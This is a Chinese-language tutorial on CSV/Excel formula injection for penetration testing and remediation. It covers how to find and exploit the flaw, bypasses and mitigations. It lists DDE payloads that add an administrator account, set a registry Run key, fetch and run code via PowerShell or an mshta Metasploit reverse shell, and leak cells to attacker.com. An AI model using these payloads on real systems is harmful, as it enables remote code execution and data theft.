CSV 注入
CSV 概述
逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符 "字符 (计算机科学)")序列,不含必须像二进制数字那样被解读的数据。
CSV 格式在发展过程中也逐渐演变出其他一些分支和变种。从名字(Comma-Separated-Value)可以看出,坚持使用逗号才是正规的做法。但有些程序也开始使用 Tab 或管道符(|
),甚至其他更多符号来进行分割。 在格式变化的同时,有的程序继续沿用 CSV 的名称,有的则引入了其他稍有变化的名字,比如 DSV(Delimiter-Separated Values)。这使得局面变得有点混乱,而这种混乱,到现在仍然在延续...
CSV 文件的格式不存在通用标准,也没有指定所使用的字符编码,但是在 RFC 4180 中有基础性的描述, 而 7-bit ASCII 是最基本的通用编码。
公式注入(Formula Injection)攻击
在 2013 年、2014 年就相继有人提出 Cell Injection、CSV Injection,将包含恶意命令的 excel 公式插入到可以导出 csv 或 xls 等格式的文本中,诱导受害者打开带有恶意公式的 Excel 文件,在打开文件后执行 Excel 公式。凡是带这种公式计算功能的表格处理软件或多或少都会受影响,如 WPS、LibreOffice 等等。
CSV Injection is an attack technique first discovered by Context Information Security in 2014.
现在越来越多的云端产品都提供了数据导出为 CSV、xlsx 文件格式,如果能控制它们的数据源,并且未做内容验证,就可以触发公式注入,最近我在一些内部平台中就相继发现不少这类问题。
CSV 特性
分割符
CSV 的基本格式是逗号分隔的一系列字段。同时规范要求,所有字段都可以用引用符号(通常是双引号
"
)包围起来。因此,以下两行数据在语义上是完全相同的:shenzhen,2019,china "shenzhen","2019","china"
至于何时应该加引号、何时不加,规范并无明确要求,而是把这个决定留给应用程序。但如果字段内容中出现了逗号,为了避免歧义,就必须加上引号。 此外,如果字段内容中存在空白字符的话,为了明确起见,一般也建议加上。
如果字段内容中本来就有引号,该怎么办呢?那就需要在前面再加一个引号。
比如:
shenzhen,2019,"known as ""Special region"""
你可能在某些地方看到类似 C 语言的转义符用方法:
shenzhen,2019,"known as \"Special region\""
但这只是部分程序的行为,并不是规范的做法,也不为许多标准的 CSV 库所支持。
如果使用引号的话,还需要注意:按照规范要求,引号与逗号之间不应该存在空白。因此,下面的内容严格来说是非法的。
"shenzhen" , "2019" , "china"
但对于类似这样的错误该如何处理,标准也没有明确规定。有些“聪明”的软件会自动尝试去掉空格。
excel 的一个特性:单元格中的第一个字符是“
+
、-
、@
、=
”这样的符号时,它会以一个表达式的形式被处理,不过在测试中发现 WPS 不会执行“@
”开头的。例如,输入
=9+1
单元格会显示 10。
- 针对二进制流是开头是
Tab (0x09)
、Enter (0x0D)
也有可能造成注入。 - 使用 python 创建一个 csv:
py .\csv_test.py
import csv
# 定义数据
data = [
{"name": "=", "age": "=1+1"},
{"name": "-", "age": "-2+3"},
{"name": "@", "age": "@2+3"},
{"name": "+", "age": "+2+3"},
]
# 定义 CSV 文件路径
csv_file = "data.csv"
# 写入 CSV 文件
with open(csv_file, mode='w', newline='') as file:
writer = csv.DictWriter(file, fieldnames=["name", "age"])
# 写入标题
writer.writeheader()
# 写入数据
for row in data:
writer.writerow(row)
print("CSV 文件已创建成功!")
DDE
动态数据交换(DDE),是 Windows 下进程间通信协议,支持 Microsoft Excel,LibreOffice 和 Apache OpenOffice。Excel、Word、Rtf、Outlook 都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含 DDE 公式的 CSV 文件,那么在打开该文件时,Excel 就会尝试执行外部应用。
漏洞挖掘
安全测试
查找、留意系统中是否有到导出为 csv 或 xls 格式的利用点。一般存在于信息统计,或者日志导出等地方。
确定导出的内容可控
- 可以在界面可直接进行编辑/新增
- 通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入
如果存在注入点且有过滤,尝试绕过,最后进行 OS 执行等深入利用
其他常见 csv 注入输入场景有:
- burpsuite 抓取登录报文,修改用户名为"
=cmd|'/c ping 127.0.0.1 -t'!A1
",查看导出的安全日志中是否会执行构造的命令 - 操作失败日志记录场景(比如上传文件场景,将文件名修改为"
=cmd|'/c ping 127.0.0.1 -t'!A1
")以及其他可被用户控制的入参操作场景,且这些用户的控制入参可被记录到可导出日志中,查看导出的安全日志中是否会执行构造的命令
- burpsuite 抓取登录报文,修改用户名为"
建议构造如下数据
=cmd|'/c calc'!'A1'
\",=cmd|'/c calc'!'A1'
",=cmd|'/c calc'!'A1'
xxx,=cmd|'/c calc'!'A1'
xxx\n=cmd|'/c calc'!'A1'
========
在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个公式, 此时可以注入系统命令实现命令执行。
# 常用 payload
=cmd|'/c calc'!A0 # 弹计算器
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' # 弹计算器
=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!") # 发起 http请求获取数据
- 覆盖产品中所有存在导出
CSV/Excel
等格式的场景。
Bypass
在等于号被过滤的情况,可以通过运算符
+-
的方式绕过
-1+1+cmd |' /C calc'!A0
参数处输入一下 payload,由于
%0A
被解析,从而后面的数据跳转的下一行
%0A-1+1+cmd |' /C calc'!A0
导出文件为 CSV 时,若系统在等号
=
前加了引号'
过滤,则可以使用分号绕过,分号(;
)可以分离前后两部分内容使其分别执行【此技巧和上面的换行本质是一样的,相当于在新的单元格里面写入内容】
;-3+3+cmd|'/C calc'!D2
其他
@SUM(cmd|'/c calc'!A0)
@SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0
注意事项
Excel
执行外部命令需要用到 Excel 的 DDE(Dynamic Data Exchange,动态数据交换),在新版本的 Excel 中(我的为 Excel 2016)需要修改设置才能复现:
文件 > 选项 > 信任中心 > 信任中心设置 > 外部内容
在“动态数据交换的安全设置”中勾选“启用动态数据交换服务器查找”和“启用动态数据交换服务器启动”。
虽然微软默认关闭了 DDE 让执行外部命令有一些难度,但并不表示这个漏洞就无用武之地,毕竟公式是可以改变数据最终呈现的,比如上文提到的 HYPERLINK 能用来钓鱼、泄露信息,或者涉及金额计算的地方用来修改金额等。
这类漏洞通常出现在涉及导出数据的地方,比如导出日志、统计信息、配置信息等等位置。
WPS
打开 WPS 公式编辑器,并选择要链接的单元格。
在公式编辑栏中输入“=”符号,然后输入“DDE("程序名称”,“服 务器名称”,“数据项””。
- 程序名称:指的是链接的数据源程序名称,例如 Excel。
- 服务器名称:指的是数据源程序的文件名和路径。
- 数据项:指的是要链接的数据项,可以是单元格的数值、字符,或者其他数据类型。
例如,
"DDE(Excel,C:\data.xlsx,Sheetl!A1)"
表示链接 Excel 文 件中 Sheet1 工作表的 A1 单元格数据。按下回车键,完成动态链接。
漏洞危害
泄露敏感信息
语法:HYPERLINK(link_location, [friendly_name])
link_location
的各种形式可以参看上面的官方示例。
其中很大的一方面是由于信任域的原因导致用户仍可能受到攻击,用户在 security.com 域下导出自己的 Guestbook.csv ,但由于恶意用户偷偷的在留言板中插入了恶意代码:
=HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!")
这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露。
【实操】
这样当用户在导出报表后,若点击这个单元格则会导致 A1 单元格的内容泄露。
【关于 python csv 库的问题】
import csv
# 定义数据
data = [
{"name": "=", "age": "=1+1"},
{"name": "-", "age": "-2+3"},
{"name": "@", "age": "@2+3"},
{"name": "+", "age": "+2+3"},
{"name": "hyperlink", "age": "=HYPERLINK(\"http://www.baidu.com/\"&A1,\"click\")"},
]
# 定义 CSV 文件路径
csv_file = "data_hyperlink.csv"
# 写入 CSV 文件
with open(csv_file, mode='w', newline='') as file:
writer = csv.DictWriter(file, fieldnames=["name", "age"])
# 写入标题
writer.writeheader()
# 写入数据
for row in data:
writer.writerow(row)
print("CSV 文件已创建成功!")
Excel 解析时会将两个双引号转义为单个双引号。
【关于全文信息泄露】
之前使用 &A1&A2&A3&A4
窃取表单数据的方式看起来有点笨重,我找到了一种新的方法来更方便的窃取全文信息。
APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.
2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的 url。但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10)
,这样便能直接读取整个表格中的数据。
RCE 钓鱼
利用 DDE 注入,远程命令执行。在单元格中输入 1+cmd|'/C calc'!A0
,回车后 Excel 会弹出一个框,提醒 Excel 需要启动另外一个程序(cmd),点击是,Windows 会弹出计算器窗口。
老版本比如说:office 2016 默认开启。
新版本要手动打开:文件 -- 选项 -- 信任中心 -- 信任中心设置 -- 外部内容 -- 启用动态数据交换服务器启动
测试了一下 @
失败了,其余成功。
【其他 payload】
导出 xlsx 文件与 CSV 注入类似,也存在类似的问题,因为都是利用 Excel 公式语法执行系统命令。
# 添加用户
=cmd|'/C net user test 123456/add'!A0+<br>=cmd|'/C net user test 123456/add && net localgroup administrators test /add'!A0
# 修改注册表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
# RCE
=cmd|' /C calc'!A0
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0
# 信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1¶m2="&A1&"@attacker.com")
# ======== 修复库的测试 payload
@pytest.mark.parametrize("input,expected", [
# Sample dangerous payloads
("=1+1", "'=1+1"),
("-1+1", "'-1+1"),
("+1+1", "'+1+1"),
("=1+1", "'=1+1"),
("@A3", "'@A3"),
("%1", "'%1"),
("|1+1", "'\\|1+1"),
("=1|2", "'=1\\|2"),
# https://blog.zsec.uk/csv-dangers-mitigations/
("=cmd|' /C calc'!A0", "'=cmd\\|' /C calc'!A0"),
("=cmd|' /C powershell IEX(wget 0r.pe/p)'!A0", "'=cmd\\|' /C powershell IEX(wget 0r.pe/p)'!A0"),
("@SUM(1+1)*cmd|' /C calc'!A0", "'@SUM(1+1)*cmd\\|' /C calc'!A0"),
("@SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0", "'@SUM(1+1)*cmd\\|' /C powershell IEX(wget 0r.pe/p)'!A0"),
# https://hackerone.com/reports/72785
("-2+3+cmd|' /C calc'!A0", "'-2+3+cmd\\|' /C calc'!A0"),
# https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities
('=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")',
'\'=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")'),
])
MSF
# 利用 MSF 框架反弹 shell,使用 office_word_hta 模块去反弹 shell
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.202.61
srvhost => 192.168.202.61
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.202.61:4444
[*] Using URL: http://192.168.202.61:8080/JO9CGVsbSAKZKYC.hta
msf6 exploit(windows/misc/hta_server) > [*] Server started.
然后将在 EXCEL 中插入恶意载荷
+1+cmd|'/c mshta.exe http://192.168.202.61:8080/JO9CGVsbSAKZKYC.hta'!A0
漏洞防范
根据业务场景来严格限制输入格式,比如填 URI 的地方判断 URI 格式是否正确;
生成表格文件时,凡是公式字符开头(=、+、-、@)数据,可以添加单引号在首部来阻止被解析。Python 已经有开源的库帮我们写好了此逻辑,可以直接引入使用,详情见 GitHub - raphaelm/defusedcsv: Python library to protect your users from Excel injections in CSV-format exports, drop-in replacement for standard library's csv module。
请记住,仅确保不受信任的用户输入不以这些字符开头是不够的。您还需要注意字段分隔符(例如,“
,
”或“;
”)和引号(例如,'
或"
),因为攻击者可以使用它来启动一个新单元格,然后在用户输入的中间但在单元格的开头放置危险字符。CSV Injection | OWASP Foundation- 将每个单元格字段用双引号引起来
- 在每个单元格字段前面加上单引号
- 使用额外的双引号转义每个双引号
问题在于管道 (
|
) 字符,Excel 和其他应用程序解释该字符以执行{arbitrary}
命令并从这些有效负载向量启动 Windows 二进制文件。通过阅读有关攻击的内容并研究可能的缓解技术,我发现最好的解决方法是在这种攻击场景中转义管道字符,即在管道之前添加\
。
def escape(payload):
if payload[0] in ('@','+','-', '=', '|', '%'):
payload = payload.replace("|", "\|")
payload = "'" + payload + "'"
return payload
# An example of payload string
payload = "@cmd|' /C calc'!A0"
print "The Unescaped version is: " + payload
print "When passed though escape function the value is: " + escape(payload)
- 来自 Microsoft 的提示
前人栽树
CSV Injection Mitigations & Dangers (zsec.uk) -- 很优秀的一个 blog
《This Is How Cops Trick Dark-Web Criminals Into Unmasking Themselves》,这篇文章讲述了 FBI 利用这种技巧来跟踪罪犯。
CSV Injection 实例
环境条件
“由于 csv 并没有通用标准,而 excel 在没有任何标准的前提下把数据中的第一个等号解释为方程,导致了安全问题。”-- 特性
解决方案完全只是为了适配 excel,在适配 excel 的同时,不可能适配其它应用(因为没有统一的标准)”
因此必然无可避免的副作用就是,如果不是用 excel 来打开,比如使用导入工具把 csv 直接导入到 mysql 数据库,则数据 =X
导入到 mysql 后,会变成 ="=X"
。
漏洞挖掘
这个是一个截断的实例,该程序会给 =、+、-、@
开头的单元格内容添加 =""
,即强制引号 "
输出的同时,添加一个额外的 =
前缀来适配 excel。
payload:
=HYPERLINK("http://baidu.com","=cmd|'/C calc'!A0)
导出后变成了
="=HYPERLINK(""http://baidu.com"",""=cmd|'/C calc'!A0"
这样就导致 cmd 前面的引号 "
和第一个引号闭合了,所以后面 =cmd|'/C calc'!A0"
就被写到了新的单元格,导致的引号逃逸。